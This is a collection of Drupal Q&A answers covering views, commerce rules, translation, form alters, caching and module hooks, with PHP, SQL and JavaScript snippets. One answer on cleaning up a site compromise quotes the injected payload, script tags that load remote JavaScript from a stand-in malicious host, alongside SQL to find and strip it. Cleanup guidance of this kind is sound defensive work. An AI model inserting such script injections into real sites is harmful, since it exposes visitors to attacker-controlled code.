For a video tutorial that illustrates the importance of this Entity has field condition, refer to Data types and data selection, especially what is shown between about 13:30 and 17:30 in it.


Display Nested Content Type References In D8

Yes I was missing an obvious answer. As provided by steeph on drupal forum.

Have an entity reference (unlimited) that points at the children. In the content type teaser display include the children field and set that to display the teaser view. You then have a recursive view of all descendants in teaser view mode. Obviously you could create a custom view mode if needed but this is the principle.

Create a view which at the top level only displays views which have no parent (using relationship and filter). Make sure it is set to display content>teaser and you should be seeing a flat list of instances. Use css to add a margin-left to your list-items and job done.


Yes it is possible with https://www.drupal.org/project/views_pdf. Just make the view page as any other view.


How to show list & thumbnail widget in plupload?

The Plupload integration module does not support the UI components of the Plupload Library. It is just as the module name suggest an integration with the library. The actual preview/thumbnails of uploaded images is handled by other modules like in your case FileField Sources Plupload and FileField Sources. You can check the module maintainers answer here. For modules that integrate with Plupload scroll down to the list on the module page.


This is the render element Link, which is used to make the title clickable. The non linked version would look like this:

$row['title'] = $entity->label();

You can use any render element or a nested render array.


Prepopulate custom fields during checkout with data from user account

If I am not mistaken, you can do this with rules. Use the 'after saving a new commerce order' event and choose to 'set a property' on the commerce order. For the value you can navigate to the customer profile and select your field.

Optionally you can also add the 'after saving an existing commerce order' to update the field at every step in the process. (commerce saves the order after each checkout step).

Update

This requires some knowledge about how Drupal commerce works. An order is created as soon as you place a product in the cart. You now have a product in the cart state. As you proceed to checkout, the order state updates with every step. If you leave the checkout, the state is frozen and you could continue it at every time.

Since your rule only acts on commerce_order_insert this means the number will only be copied if you create a new cart. (proceed to checkout your current order or delete the entire order by going to the order overview.) This is why I proposed to also add the commerce_order_update event as a trigger. That should update the number at every step of the checkout process.

Also there appears to be a misconfiguration in the rule (or I misunderstood your question). If the number is on a customer profile type, you should get it from there. [ "site:current-user:field-kundnummer" ] assumes this is a field configured on the user profile. And [ "commerce-order:owner:field-kundnummer" ] is really the user if of the order owner. (Changing that might mess up everything).

I guess you should be setting [ "commerce-order:<commerce-customer-profile-reference>:field-kundnummer" ] instead. That would be the field on the customer profile.


How to translate the Home link when using Path Breadcrumb?

Make sure you have the Variable module installed/enabled. If you also have the
Path Breadcrumbs module enabled (as seems the case in this question), then there will be an extra tab within admin/config/regional/i18n/variable of your site (tab title = Path Breadcrumbs).

Within that tab, there are over a dozens of options available for marking them as milti lingual variables. The "Home link Title" is one of them, and probably the one you need to enable here.


Updating of drupal core and modules impossible

See https://drupal.org/node/2157815. Don't know how else to close this question...


How can i prevent field display on sign up while using profile 2 module

If you go to admin/structure/profiles and click on Edit for the desired profile type, you can configure these settings.

Simply uncheck Show during user account registration. You can even eliminate the profile from the account page by checking Provide a separate page for editing profiles. .

If you want to restrict access to particular fields only, use the Field Permissions module and set the View permissions on the selected fields to Authenticated user. On registration the user is still Anonymous, and will not be able to see the fields.


Fix/force blocks in a region inside a tableDrag

The checking-magic comes from Drupal.tableDrag.prototype.row.prototype.isValidSwap and you can override that to add a custom validation. This solved my problem:

// onDomReady: override Drupal.tableDrag.prototype.row.prototype.isValidSwap to add swap-validation.
jQuery(function($) {
  if (Drupal.tableDrag) {
    var _isValidSwap = Drupal.tableDrag.prototype.row.prototype.isValidSwap;
    Drupal.tableDrag.prototype.row.prototype.isValidSwap = function(tr) {
      // Do standard tableDrag validation.
      var valid = _isValidSwap.apply(this, arguments);
      if (!valid) {
        return false;
      }

      // One of us?
      var $select = $('.form-select', this.element),
        loner = $select[0].options.length <= 1;
      if (loner) {
        // Can't swap with non-draggables, since that would mean a boundary.
        if (!$(tr).is('.draggable')) {
          return false;
        }

        // Can't skip over any rows, since that might be a boundary.
        var diff = tr.rowIndex - this.element.rowIndex;
        if (Math.abs(diff) > 1) {
          return false;
        }
      }

      return true;
    };
  }
});

All thanks to Mołot of course.


How do I create translation without default language content?

It used to take several contributed modules to make even a small multi-lingual Drupal 7 site. Now, you can translate everything using just the Drupal 8 core.
Step 1: Enable the translation modules
You need to enable these four core Drupal modules in order to translate your site.

Step 2: Translate the Drupal core
First, let's translate of the core language inside the Drupal. In this example, I'm going to add Spanish as an option on my site:

Go to Configuration > Languages

Click "Add language"

Choose your language and click "Add language".

Click on the percentage area, under "Interface Translation".

You'll be able to search for and manually translate all the language strings in here:

Step 3: Translate your own site set-up

Go to Structure > Content types, you'll see a "Translate" option for your content types:

Inside the next screen, you'll see similar "Translate" links for all your fields:

Step 4: Add content
Now we can add content to your Drupal site.

Go to Configuration > Content language and translation.
Click the box next to "Content":

Note: This is an important step as you can set a specific translation for your content type. That means, the content type default language will be set to a particular language(like German).

After this step, all content of "Biography" type will be by default translated to german.


How to export a view to module file with CTool Bulk Export module?

I figured it out.

@kiamlaluno, the 'export' link in your answer (screenshot) does not require Chaos tool, it comes out of box of views. And it only exports view code, to module file.

To export to module, goto admin/structure/bulk-export, then tick views,


Omit the Front Page when Using Contextual Filters?

First : NEVER enter data twice. You're sure you'll regret it sooner or later, and it's always the sign something's wrong with the design.

As for your problem, you could probably set up a Views Attachment or a plain other view to add nodes with different criteria.

Or perhaps you could use Flag or another module of that kind to differenciate your nodes more precisely ?


Error in Italian localization for datepicker

I think you should download Italian initialisation jQuery UI js file and attached to your concerned page in your module or theme.


Drupal commerce - product display view replicates products

This is known issue discussed in this issue. Setting the query to distinct in the queery settings under advanced within views worked for me, as described in comment 6.


How to use contexual filters for registration events?

You don't use contextual filter for this, you need to use relationship.

Make sure the Registration Views module is enabled.

In views under Advanced, RELATIONSHIP click add and select User: Registration

Checkmark require this relationship.
Checkmark your registration type name.


Drupal assuming admin created user, when user registered normally

As it turns out, a custom-made module conflicted with the normal behavior in a sneaky way.

In D7, when you create a user as an admin, the checkbox to send an email with a one-time login link is not selected by default. As the person creating users is not a technical person, I thought it might be user friendly if this was checked by default.

After a bit of searching, I found a small module that could help. What this piece of code did was:

if ($form_id == 'user_register_form') {
    $form['account']['notify']['#default_value'] = TRUE;
}

However, as you can see there is no check if the current user is the admin. So Drupal assumes the admin is creating the user, even for a normal registration by a visitor. Subsequently, the visitor gets a mail that the admin created his/her account.

I explained this for the author also, and hope someone fixes it (or I'll try myself when I find the time).


The trick to including anything in a Webform is to use the "Advanced HTML/Text" element, which allows you to utilize Drupal's Text Format functionality to embed any media, including videos.


hook_menu() item is not showing in primary-links even it exist in menu_links and menu_router tables

This condition in your newuser_access_callback tells to your link to shows only to anonymous.

if ($user->uid == 0 && user_access('access content')) {

If you want see it as admin also, you should add yourself like that

if ($user->uid == 1 || ($user->uid == 0 && user_access('access content'))) {


I have tested it in my module, i didn't get any issue. It worked fine for me.
The output i received after using print_r(); and die(); in my submit function is

Array
(
    [zipcode] => 23423423
    [phonenumber] => 423423423
    [continue_submit] => Continue submit
    [form_build_id] => form-zVFjX4fMorTyOI6m3JE0SL3w0_rSCTsVzEho63Qb1u4
    [form_token] => Pg3erepuKQvtsCSQT-3G7FWLivsSWDH69P0Z3YfRD6M
    [form_id] => mhzipcode_storage_form
    [op] => Continue submit
)

Just try it in a separate module where no extra code exists and then debug the issue.
It can be conflict with some module or any other issue. Hope it will help.


Should a module implementing a filter delete the Drupal variables it uses, when uninstalled?

A module should be responsible for cleaning up after itself when it is uninstalled. There is no reason not to do this, unless some other modules depend on those variables but I very much doubt this is a case. If they depend on a module they probably depend on the entire module, not just some variables defined by it.

I, for example, use htmLawed and out of curiosity checked the .install file; it does clean the variables defined in the format "module_name_format_%".

As a best practice you should drop all the tables and delete the variables defined by your module, doing this by implementing hook_uninstall in your .install file.

Writing .install files (Drupal 6.x)


Drupal generating broken URLs containing "http" twice

It appears that Apache 2.4.17 break rewrite functionality when fastcgi PHP is used. With mod_php everything is working fome but I'm looking forward to Apache 2.4.18 or 2.5.


Ajax rebuild form is calling all the code from my form function

You shouldn't need:

$form_state['rebuild'] = TRUE;

Otherwise your callback looks correct.


New image field type for Articles only displaying on the article node itself, not on taxonomy or custom view pages

Yes, the concept is view_modes. See this documentation page as an introduction.

node--article.tpl.php is used to show the Default view mode of a node. The related taxonomy page(s) for terms lists content out by default using the Teaser mode. This view mode is usually a succinct version of your complete node fields (sometimes showing a body teaser, and fewer fields).

Some modules to help you create new "view modes" of your content and easily customize how and what is shown are for instance (a small example list, by NO MEANS all of the possabilities, nor are these necessarily the best options):

Display Suite
Entity View Modes
Panels
Custom Formatters


Weight Module Provides it : Read Documentation

  On the Content administration page (Administration » Content), there will be a "Weight"
  column containing a selector box to set the weight of any node with a content type that has been weight enabled.

And Here is a Comparison of Node/Entity Ordering Modules

To enable Weight for a content type, go to Administration » Structure » Content
types and select the content type you want to enable Weight for. Select the Weight
vertical tab, choose your desired settings, and click the Save button.

Now in admin/content you could see weight column


Cascade entity reference in a content type

It sounds like you want to try to use Reference Field Option Limit:

  Example 1:

  countries and cities Suppose you want to label articles (or
  products, or businesses, etc) by both city and country so both can be
  used for filtering and searching. You could use a hierarchical
  taxonomy with city terms as children of country terms, but that
  doesn't make sense when you come to set up Views filters.

  With this module, create two separate taxonomies for country and city
  (or content types, or whatever entity you want to use). Then add a
  reference field so that each city points to its country: eg, the term
  'Paris' has a reference to 'France'.

  Then when editing an article, selecting 'France' in the country field
  will cause the city field to update to show only cities in France.

How you denote the different parts based on their price. I dunno. But you can look at this module and if need use it as a starting point to extend or create javascript behaviors or alter sql queries it's using.


How do you use the Drupal 7 overlay on the node/edit screens for your popups when it's already being used?

It is possible to change the z-index used by the overlay, but I don't think it's necessary. You just use for your overlay a z-index that is higher than the one used by the Overlay module.

In the case you need to know when the overlay is output, or how it is output, you should check the code executed by overlay_page_alter(), which is the implementation of hook_page_alter() made by overlay.module.

function overlay_page_alter(&$page) {
  // If we are limiting rendering to a subset of page regions, deny access to
  // all other regions so that they will not be processed.
  if ($regions_to_render = overlay_get_regions_to_render()) {
    $skipped_regions = array_diff(element_children($page), $regions_to_render);
    foreach ($skipped_regions as $skipped_region) {
      $page[$skipped_region]['#access'] = FALSE;
    }
  }

  $mode = overlay_get_mode();
  if ($mode == 'child') {
    // Add the overlay wrapper before the html wrapper.
    array_unshift($page['#theme_wrappers'], 'overlay');
  }
  elseif ($mode == 'parent' && ($message = overlay_disable_message())) {
    $page['page_top']['disable_overlay'] = $message;
  }
}


You can use Gmap. There is also a great screen cast that shows how to use it. You can also take a look into the OpenLayers module to add maps into nodes.


Ubercart 2.x drupal 6 combo attributes price

Would Ubercart Attribute Tokens help you out here?


How to boost relevance of Search API solr with the value of a certain field?

hook_apachesolr_query_alter($query) alter the query after it's prepared and cached.

As per example given in documentation which I found, you can use this hook in similar way to other query_alter hook. E.g -

function hook_apachesolr_query_alter($query) {
  //Adding one more filter.
  $query->addFilter("is_uid", 1);

  // Only search titles.
  $query->replaceParam('qf', 'label');
}

Find the documentation by clicking on the mentioned hook name by me.

EDITED--

Sorry for giving example of other hook of apache solr module. You can find documentation of your hook here hook_search_api_solr_query_alter().

You can find a small snippet for example of this hook like --

function hook_search_api_solr_query_alter(array &$call_args, SearchApiQueryInterface $query) {
  if ($query->getOption('foobar')) {
    $call_args['params']['foo'] = 'bar';
  }
}

Eric has wrote a nice article with example of this hook.


How to use EntityFieldQuery::fieldCondition for entity reference field?

You need to use 'target_id'

Your code should by this:

//query to get the list of entities
$query = new EntityFieldQuery();
$query->entityCondition('entity_type', 'song');

if(!is_null($form_state['input']['field_authors'][LANGUAGE_NONE]))
{
    $query->fieldCondition('field_authors', 'target_id',
            $form_state['input']['field_authors'][LANGUAGE_NONE], 'in');
}

You can found a good explanation here:

How to use EntityFieldQuery with a simple text field?


How to make a blog tab in every user profile

Using a custom module, you can implement hook_menu() in the following way:

function mymodule_menu() {
  $items['user/%user/blog'] = array(
    'title' => 'My blog',
    'page callback' => 'blog_page_user',
    'page arguments' => array(1),
    'access callback' => 'blog_page_user_access',
    'access arguments' => array(1),
    'file path' => drupal_get_path('module', 'blog'),
    'file' => 'blog.pages.inc',
  );

  return $items;
}

The "file path" property is used because the module that defines the menu is not the one containing the "blog.pages.inc" file.

If you have few experience on how to create a Drupal module, you should start looking at:

Creating Our First Module using Drupal 6 (Part1)
Creating a Simple Drupal Module
Creating Drupal 6.x modules
Creating Drupal 7.x modules


How do you reorder an entity reference revisions field during hook_node_presave?

You don’t need to re-create the array of target IDs by creating all that $new_values stuff.

Just set the entities like this:

$node->set('field_paragraphs', $entities);


Within my themes page.tpl.php file it has a reference to a lot of variables like $head and $local_styles. What file are they stored in?

The values are not stored at all. Instead they are generated dynamically at run time and feed into the template. The list of variables is just there so you will know which variables exactly are available in any particular template.

If you want to examine their content, you can add

drupal_set_message(print_r($variable, TRUE));

to the template, and simply load the page. If you install the Devel module, you can get much easier to read output like this:

dpm($variable);

I frequently use dpm in my everyday work when debugging or building new code.


I built 2 gallery type sites with album-image and category-product relations last week - my first 2 Drupal 8 sites! If direct modules are not available, you can try using views to solve your problem by creating your own gallery setup (if acceptable).

Step 1: Create provision for gallery categories

Create a taxonomy vocabulary named gallery_category and add relevant fields to it. These would serve as albums:

image: album cover
body: album description

Step 2: Create provision for gallery items

Create a content-type named gallery_item and add relevant fields to it:

image: the image
body: image description
category: reference to the gallery_category vocabulary - you can have single or multiple values depending on whether your images would belong to one or more categories (as per requirement).

Step 3: Set up views

Create one view to display a list of all categories
Create another view or modify the default taxonomy term view to fine-tune the list of gallery items inside a category.
For the views, if you have too many categories or items, make sure you enable paging or some other relevant solution to make sure all items don't load in a page.

Note: This is a general answer to try and help you. Modify the steps and details as necessary to achieve the output you desire. Good luck!


Log Message - Page Not Found: includes/database/sqlite/log/login

This is most likely somebody trying an automated script to gain malicious access to your site. There's no action required.


LIKE clause not working in hook query alter

Have you tried changing the hook you are using to MYMODULE_query_alter?

You are implementing hook_query_TAG_alter(), and I don't see where the Search query is tagged as such.

Per the Node API:

  This is the hook_query_alter() for queries tagged with 'node_access'.
  It adds node access checks for the user account given by the 'account'
  meta-data (or global $user if not provided), for an operation given by
  the 'op' meta-data (or 'view' if not provided; other possible values
  are 'update' and 'delete')


Where does redirect from default search to apachesolr_search occur?

Unless I'm mistaken, there is no redirect taking place. Instead the hook_search is used, which will pass the search params from the url.


To export your database, for example to migrate it, simplest option is to use Backup and Migrate module.

  Back up and restore your Drupal MySQL database and files or migrate a site between environments. Backup and Migrate supports gzip, bzip and zip compression as well as automatic scheduled backups.

Emphasis mine.

To do it with Drush, use:

drush sql-dump > my-sql-dump-file-name.sql

You need to have mysqldump installed in your system. In Linux, it usually can be found in mysql, mysql-client or similarly named package, and installing it should take care about path configuration etc. In Windows, it's probably already in path like C:\Program Files\MySQL\MySQL Server 5.6\bin (depending on where you have installed it). Make sure to add that path to system's PATH variable (My Computer -> Properties or similar, depending on Windows version; look for "system variables", "environment variables", names like that).


Which mysql tables contain the URL Alias path data?


You can always create a block in your module. You'll need hook_block_info, hook_block_view.

Example:

function hook_block_info() {
// This example comes from node.module.
$blocks['syndicate'] = array(
'info' => t('Syndicate'),
'cache' => DRUPAL_NO_CACHE,
);

return $blocks;
}

Then in hook_block_view:

function hook_block_view($delta = '') {
// This example is adapted from node.module.
$block = array();

switch ($delta) {
  case 'syndicate':
    $block['subject'] = t('Syndicate');
    $block['content'] = myfunction();
    );
    break;
 }
  return $block;
 }

Then you just need to return what ever out put you want in myfunction, and you should be set. Check out the links for more info, full block api is also here.


javascript hack added to every body field - how can I global search and replace?

For other newbies like me, here's what I did to fix the problem.  In phpMyAdmin select the drupal database.

Just to be safe, you might want to Export the database in case anything goes wrong.

Once you've backed up, select the SQL tab.

Then check that you can find the string with the

SELECT * FROM `field_data_body` WHERE `body_value` LIKE "%<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>%";

If the command above works, then you can use

UPDATE `field_data_body` SET `body_value` = REPLACE(`body_value`,"<script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script><script type=\'text/javascript\' src=\'https://badwebsite.com/sc.js?p=3\'></script>","")

to delete the string with the script.


Creating new bulk views operations (VBO) actions for custom entity types

After your action has been defined, it can be added in the Views UI under Selected Bulk Operations in your Bulk operations field settings. It will be a separate checkbox alongside other actions like Execute arbitrary PHP script, etc. Once selected, it should show up as select option or action button (depending on how the VBO field is configured).

The VBO development guide on d.o. is a good example of working code for defining an action, adding a optional global/per-bulk setting form, & creating action handler.

Here's a very bare bones example:

//Will add a "User Action" option to Bulk Operations: User field in Views UI
function MYMODULE_action_info() {
  return array(
    'MYMODULE_user_action' => array(
      //Can be other entities used in a view (e.g. 'node')
      'type' => 'user',
      'label' => t('User Action'),
      'behavior' => array('changes_property'),
      'triggers' => array('any'),

      //Set to true if you an intermediate options form for your action
      //'configurable' => true,

      //Set to true if you want additional globaloptions
      //'vbo_configurable' => true,
    ),
  );
}

function MYMODULE_user_action(&$entity, $context){
  //$entity is the current entity being modified; it can
  //  modified directly to perform the action on the entity

  //$context is an array of contextual information about the
  //  current state of bulk processing  (e.g. items remaining)
  //  It also contains configurable options values if any were set (see below)
}

//If 'configurable' => true in hook_action_info() item this trio of functions
// will add/process an intermediate form just like any Drupal form
function MYMODULE_user_action($settings, &$form_state){
 //$settings['settings'] will contains settings set in
 //  MYMODULE_user_action_views_bulk_operations_form
}
function MYMODULE_user_action_validate($form, $form_state) {
}
function MYMODULE_user_action_submit($form, $form_state) {
  //return an array of values usable by MYMODULE_user_action
}

//If 'vbo_configurable' => true, in hook_action_info() this presents
// additional configurable options for the  VBO action.
// It returns a Drupal form array
function MYMODULE_user_action_views_bulk_operations_form($options) {
}


How can I programmatically get the theme name?

Using the theme manager is the proper Drupal 8 way of getting information about your theme.

\Drupal::service('theme.manager')->getActiveTheme()

A general rule in drupal 8 is look for the manager (/handler) service.

** Note: as Neograph734 pointed out, \Drupal::service('theme.manager')->getActiveTheme() will return the active theme object. If you want to get the theme machine-name then use \Drupal::service('theme.manager')->getActiveTheme()->getName()


Entity reference for feed imports not working on some referenced nodes

Fixed. It turns out there were erroneous microsoft nbsp characters in the feed CSV that looked exactly like spaces. This resulted in the referenced entity not being found.

Removing these characters made the feed work correctly.


language back to default language after Ajax reload

The ajax callback should return the dynamic form element (and not directly the value). I've created some sample code where the translated content / string is correct after an ajax reload.

function YOURMODULE_form($form, &$form_state, $file_group)
{
    $form['update'] = array(
        '#value' => t('Update'),
        '#type' => 'button',
        '#ajax' => array(
            'callback' => 'YOURMODULE_form_ajax_cb',
            'wrapper' => 'ajaxWrapper',
            'method' => 'replace',
            'effect' => 'fade'
        )
    );

    $form['ajax'] = array(
        '#type' => 'container',
        '#attributes' => array(
            'id' => 'ajaxWrapper',
        ),
    );

    $form['ajax']['text'] = array(
        '#type' => 'markup',
        '#markup' => t('My translated string'),
    );

    // Rest of the form
}

function YOURMODULE_form_ajax_cb($form, &$form_state)
{
    return $form['ajax'];
}


Image Migration from Drupal 6 to 7 fails

This has been answered by me in another question I made.
It can be found here: Migrating Multiple Files in a Node


8 - Caching for custom blocks doesn't work on

The issue I had is the front page always returns the first visited city. Which is normal because the cache was invalidated by url OR node and the homepage has 1 URL. So unless I create/update/delete a node the cache would not be invalidated.

The solution was to create my own cache context, i.e city and merge it with the url context. This would invalidate the cache per url per city and create a combination of the different possibilities.

Here is the code :

city/city.services.yml

cache_context.cw_city:
    class: Drupal\city\CacheContext\CityCacheContext
    arguments: []
    tags:
      - { name: cache.context }

city/src/CacheContext/CityCacheContext.php

<?php
namespace Drupal\city\CacheContext;

use Drupal\Core\Cache\Context\CacheContextInterface;
use Drupal\Core\Cache\CacheableMetadata;

class CityCacheContext implements CacheContextInterface {

  /**
   * {@inheritdoc}
   */
  public static function getLabel() {

    return t('some label');
  }
  /**
   * {@inheritdoc}
   */
  public function getContext() {
    // The logic goes here
  }
  /**
   * {@inheritdoc}
   */
  public function getCacheableMetadata() {
    return new CacheableMetadata();
  }
}

And on the block I merged the new context with the parent contexts like this :

/**
   * {@inheritdoc}
   */
  public function getCacheContexts() {
    return Cache::mergeContexts(
      parent::getCacheContexts(),
      ['city']
    );
  }

For more information please check this post


Drupal 7: How to create dynamic link based upon url

Your code is fine except for a detail. The correct menu definition is the following one.

$items['%/page'] = array(
  'title' => 'Coach Page',
  'page callback' => 'coachpagelink',
  'page arguments' => array(0),  // Use an integer, not a string.
  'access arguments' => array('access content'),
  'type' => MENU_NORMAL_ITEM,
  'menu_name'=>"menu-coach-menu",
);

If you use a string in the page arguments, the page callback is not receiving part of the URL, but that string. In your case, the page callback is always receiving '0' as argument, even when the page callback is invoked for example.com/jhondoe/page.


Extract data from Field Collection using db_select()

I got it to work like this:

$pid = $profile->pid;

$query = db_query('SELECT nn.field_street_number_value AS number,
                          ss.field_field_street_name_value AS street,
                          cc.field_city_tid AS city,
         FROM field_data_field_my_address AS aa
         LEFT JOIN field_data_field_street_number AS nn ON aa.field_my_address_value = nn.entity_id
         LEFT JOIN field_data_field_street_name AS ss ON aa.field_my_address_value = ss.entity_id
         LEFT JOIN field_data_field_city AS cc ON aa.field_my_address_value = cc.entity_id
         WHERE aa.entity_id = '.$pid);

$records = $query->fetchAll();


Newbie - I want to trigger an action when a user creates / updates a profile

You can use the Rules module for that.

http://drupal.org/project/rules

Create a new triggered rule and set it to fire on event "User account has been created" or "User account has been updated."  If you're using Content Profile, you'd set the event to be "after saving new content" or "after updating new content" and specify the node type was whatever you're using for content profiles.


If you want the class declared in my_module/src/Utils.php to be made available to any PHP script, add this at the top of that script file:

use Drupal\my_module\Utils;

This of course assumes that you're following the correct PSR-4 standards for naming: make sure that mymodule/src/Utils.php exists, and contains one single class named Utils, with namespace Drupal\my_module at the top.

See PSR-4 namespaces and autoloading in Drupal 8 for a more in-depth explanation.


Having a hover or mouseover effect in views for drupal 7

You can do a simple thing like this:

HTML

   John Doe

CSS

a.person {
    border: 1px solid #ddd;
    display: block;
    height: 100px;
    overflow: hidden;
    width: 100px;
}
a.person:hover img {
    display: none;
}
a.person span {
    display: block;
    text-align: center;
    margin: 20% 0 0;
}

Fiddle:
http://jsfiddle.net/fXnmr/

If you want fade effects etc you need to go the Javascript/jQuery route.


How to change position & amount of fields in content type dynamically (means by editors)

If I get your question right you want both the number of parts, the combination within the parts and order within the parts to be different. This may be a little difficult to implement but definitely doable.

I am assuming that you are going to have only title, text and image type in each of these parts.

Using fieldset module create three field collections name weighted title(containing textfield with cardinality as one and weight[integer value with cardinality as one]), weighted image(image field and weight field) and weighted text(containing a text field and weight field)

Now create a field set named type, add weighted title, weighted image and weighted text as the fields in this fieldset. Make sure that you keep the cardinality of these fields as infinity. To make sure that it is not confusing, we will need to remove the drag and drop option withing the type fieldset.

The UI needs to be worked on to make it more intuitive. Without these enhancements to implement

part two title

image
image
image
text
image

We will have to do it as

Solution :
title 1
image 2
image 3
image 4
image 6
text  4

and for

part three title

text
image
text

Solution :
title 1
text 2
text 4
image 3

Hope you are not lost :P


Views: Exposed filter If anonymous. Filter by user field if authenticated

Have you tried the module Views Dependent Filters?

For example, you could create a filter which checks if the user is logged in (or has a postal code) and set a dependency to that filter in your postal code filter.

You could also write some custom code (which might be easier in my opinion):

function YOUR_MODULE_form_alter(&$form, $form_state, $form_id) {
  // Get the current logged in user object.
  global $user;

  // Check for the exposed form, you would do good to add
  // some extra checks to make sure you only identify your
  // postal code exposed filter.
  if($form_id == 'views_exposed_form') {
    // Load the full user object.
    $account = user_load($user->uid);

    // Check if the user has a postal code.
    if (!empty($account->field_postal_code[LANGUAGE_NONE][0]['value'])) {
      // Hide the exposed postal code field.
      $form['field_postal_code']['#type'] = 'hidden';
      // Set a default value for the exposed postal code field.
      $form['field_postal_code']['#default_value'] = $account->field_postal_code[LANGUAGE_NONE][0]['value'];
    }
  }
}

You might want to apply the filter immediately without needing to submit the form. You could use hook_views_pre_view for that:

function YOUR_MODULE_views_pre_view(&$view, &$display_id, &$args) {
  global $user;

  if ($view->name == 'your_view') {
    // Do the same user postal code check as above here.

    // Apply the exposed filter.
    $view->exposed_input['field_postal_code'] = $account->field_postal_code[LANGUAGE_NONE][0]['value'];;
  }
}

I'm not sure if the hook_views_pre_views part works, though, so you might need to do a little research there.


How to import a Google calendar so that it can be styled?

If you are embedding it using iframe, you cannot style it with your own css or javascript as this would be considered cross site scripting.

Basically you cannot style or alter anything that is not in your own domain.

The only possible way to style it would be if Google Calendar has a setting on their website to change the style, but you would only be able to do that through their website.


Which other methods for building html content are out there?

If this is a one off landing page, I'd go with option 1.

I would never do 2 because I also deal with different installs (dev/stage/prod) and that would break on me.

For option 3 I usually use a different flag in the data other than URL, but I've occasionally used this method. Usually I have a 'Use Template' field that points at a taxonomy, and I can make various theming decisions off of that (including but not limited to the tpl I use)

If this is a layout you think you'll see again, I'd use Panels. Especially if you want this to be editable by people who don't know code.

You can specify very generic to very complex layouts. You basically specify a layout in a tpl file with regions that can get content added to them. The content can be nodes, blocks, views whatevs.

It has a bit of a learning curve on the dev and the content editor side, but it's pretty good.

With your node specific CSS, I would recommend adding a "Custom CSS" field to content types that are going to have special layouts. You could do this to what I call a "Custom Page" content type which I use to simply paste in HTML, or add it to Panel Nodes or other customizable node types.

In the theme you'll need to hide($content['field_custom_css']); in the node preprocessor and then retrieve the value of the field and run drupal_add_css() on the sucker.

You can use file field to allow people to upload CSS, or what I do is specify the URL of the file so I can just re-up the file while I'm working with FTP and don't have to re-up through the drupal interface every time I have a change.

By default drupal_add_css doesn't let you add CSS files that aren't on your domain so if you make the user specify a URL (meaning they'd have to have FTP access to get something in there) it's a fairly secure implementation.

Pretty sure there's a way to allow css that's not on your domain, but you'd want to make sure that nefarious parties aren't able to do damage with that field if you decide to go that route.

Custom CSS has been HUGE in doing one off pages like this for all of the promotional pages my group does at work.

Hope that helps!


Adding form placeholders to text input fields

That's an HTML5 placeholder, you can just add it as an attribute to any element and HTML5 enabled browsers will react accordingly:

function MYMODULE_form_alter(&$form, &$form_state, $form_id) {
  if ($form_id == 'some_form') {
    $form['some_element']['#attributes']['placeholder'] = t('Placeholder text');
  }
}

A short recursive function like this might be handy if you want to automatically add placeholders for every textfield in a form (based on the field's title in this example):

function MYMODULE_auto_placeholders(&$element) {
  if ( isset($element['#type']) && $element['#type'] == 'textfield') {
    // set placeholder
    $element['#attributes']['placeholder'] = $element['#title'];
    // hide label
    $element['#title_display'] = 'invisible';
  }
  foreach (element_children($element) as $key) {
    MYMODULE_auto_placeholders($element[$key]);
  }
}

Then in your form alter function just call

MYMODULE_auto_placeholders($form);

That method will work for pretty much every textfield on a form, with the exception of those that are added in #process functions (like the alt and title textfields of an image field for example).


Link to images(thumb) in a (block)view to the image(original) in another (page)view

In your block view, if the "Link image to " option doesn't give you what you need for the thumbnail image field, you can build your own link using "Rewrite Results". You would do something like this:

Add content:path or nid to your view, and exclude from display
Make sure content:path or nid is first in you list of fields
For the thumbnail image field, enable "Output this field as a link " under Rewrite Results
use the token for nid or content:path (i.e. [path]) to construct the link you need

Note: if you use content:path, you will probably want to enable "Use absolute path" for it's field settings, even though it is excluded from display.


Use node custom field to choose my posts background

Why use a preprocess function ? Instead use a template =).

Here is an example of how I achieve this functionality for the content type "Article" + the image field.

node--article.html.twig

  <header class="main-header post-head " style="background-image: url({{ file_url(node.field_image.entity.fileuri)}})"> </header>

I added the image on the header on top of my template and use the file_url to get the image from the field_image.

  {{ file_url(node.field_image.entity.fileuri)}}

This will allow you to get the image URL.

Few wrappers + classes to make it this image as background image. And every node will have a custom image background.


Existing site drops me back into the install routine

This seems like a permissions problem. If you are in Linux, use the "chmod" command to set the correct permissions for settings.phpYou may need to have superuser privileges to do this so see your site admin.

Often, the web-server runs as user "www-data" with group "www-data" so you may need to use the "chown" command (once again with superuser privileges) to change its ownership first.

Example:

# sudo chown www-data:www-data settings.php

# sudo chmod 444 settings.php

You will have to adjust the permissions again before editing this file in the future.


If you delete a row directly from the node table you can expect:

At best - you will just have a bunch of orphaned data in the system. Tables containing this orphaned data include, but are by no means limited to,

node_revision
taxonomy_index
url_alias
search_node_links
Any number of field_data_FIELD_NAME and field_revision_FIELD_NAME tables

Those are just a few of the core tables that can be affected; there are others, and many contrib modules will install tables to store node-related data. Those will also potentially contain orphaned data.
At worst - there's no telling how this could affect your site, it completely depends on how it's configured. You might get lucky and experience nothing but the orphaned data, but I wouldn't advise counting on that. Before you do anything, take a backup of your data.


Is it better for performance to disable unused default core views?

I am not using any of them. Is core expecting these to be enabled?

They are just examples and can be disabled if you don't need them.

The taxonomy term view is a bit different because that is the one that provides list of content when clicking on a term, if you disable that then those pages become practically meaningless as all they do is show the term with its fields.

  Does disabling these actually improve performance in any way?

Most likely not a in a measurable way. There are a handful of routes less due to that that don't need to be regenerated on a cache clear but that's a tiny amount of the total routes and it should have no impact on runtime performance.


"init "and "mail" fields in the users table

The difference is that mail is the actual email address used by the user, while init contains, in a plain Drupal installation, the email address used when the user account was created.
In the case the Bakery Single Sign-On System module is installed in a slave site (in Bakery parlance), the init field contains the link to the user account on the master site.

So, the init field could be described as the field that unequivocally identifies a user account, and that is (by default, when third-party modules don't change its content) set to contain the initial e-mail address. (That seems the reason why the field has been named init.)

Drupal.org uses the init field in the case users lose the access to their account, and create a new account to report that. They are asked (not publicly) which email they used when registering their previous account; a Drupal.org administrator would then verify that is exactly the email they used while registering the lost account by reading the database content. (There isn't a module that allows to do so automatically, for what I know.)


Is it possible to add PHP code in Global: Custom Text?

First, install the Views PHP module and you can now add a "Global: PHP field" to your views that can include PHP code.

Then add your condition field first in your view and after that your PHP field, so that the condition field value is included in available tokens.

The code of your PHP field should be sth like this:

  <?php
      if ($field_test) { // use the field token here and check if empty
       return 'Exists';
      } else {
       return 'Not exists';
